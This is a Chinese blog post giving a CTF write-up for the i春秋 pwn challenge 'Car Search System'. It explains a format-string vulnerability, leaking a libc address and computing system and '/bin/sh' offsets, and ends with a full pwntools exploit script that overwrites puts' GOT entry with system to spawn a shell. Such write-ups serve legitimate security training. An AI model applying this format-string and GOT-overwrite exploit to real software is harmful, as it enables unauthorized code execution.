

i春秋·网络内生安全训练场 pwn Car Search System

原创

置顶 [thesummerN](#) 于 2019-12-01 20:55:29 发布 142 收藏

版权声明：本文为博主原创文章，遵循 [CC 4.0 BY-SA](#) 版权协议，转载请附上原文出处链接和本声明。

本文链接：https://blog.csdn.net/qq_43677324/article/details/103339366

版权

i春秋·网络内生安全训练场

pwn Car Search System

memcpy是memory copy的缩写，意为内存复制，在写C语言程序的时候，我们常常会用到它。它的函原型如下：

```
void *memcpy(void *dest, const void *src, size_t n);
```

它的功能是从src的开始位置拷贝n个字节的数据到dest。如果dest存在数据，将会被覆盖。memcpy函数的返回值是dest的指针。memcpy函数定义在string.h头文件里。

首先我们进行gdb调试

我们可以发现format的地址

那么，怎样发现呢，我们可以使用%{\$x}和栈上的进行比较，即可得到之后我们发现libc_start_main_地址

该程序为32位程序

则偏移为：

$0xffffceec - 0xffffce00 = 236/4 = 59$

那么偏移为59

之后就可以查找libc版本

貌似是第一个

```
fmtstr_payload(offset, {address: value})
```

对于上面那个方法

可以自动生成修改GOT表的payload

第一个参数 `offset` 用 `autofmt.offset` 算好的即可。然后，我们需要声明 `{address: value}` 来覆盖address的内容成对应的value。我们还可以同时改写多个地址：`{address1: value1, address2:value2,..., address: valueN}`。

注意：！！！！

关于找到offset

那个offset为我们字符串进入的那个栈的位置，那个栈的位置是在

format的高地址处，


```

payload1 = '%59$p'

p.sendline(payload1)

lib_ret = p.recvline()

offset__libc_start_main_ret = 0x18637

offset_system = 0x0003ada0 #这里的偏移量pwntools查找的与libc-database中的不同

offset_str_bin_sh = 0x15ba0b

libc = int(lib_ret.strip("\n"),16) - offset__libc_start_main_ret

system = libc+lib.symbols['system']
#print(system)

binsh = libc + offset_str_bin_sh
'''
p.recvuntil("leave\n")
def exec_fmt(payload):
    p =process("./pwn")
    p.sendline(payload)
    return p.recvall()
autofmt =FmtStr(exec_fmt)
offset =autofmt.offset
print(offset)
'''
p.recvuntil("leave\n")

payload2 = fmtstr_payload(30,{elf.got["puts"]:system}) #计算出偏移,然后将puts的got表地址改为system地址

p.sendline(payload2)

p.recvuntil("leave\n") #修改v8这个指针,将这个指针所指的变量值修改

payload3 = "%51$p"

p.sendline(payload3)

point = int(p.recvline().strip("\n"),16)

p.recvuntil("leave\n")

payload4 = p32(point) + "%98c%30$hhn"

p.sendline(payload4)
'''
p.recvuntil("ar in 7 day")

p.sendline("/bin/sh/")
'''
p.sendlineafter("ar in 7 day","/bin/sh\x00")

p.interactive()

```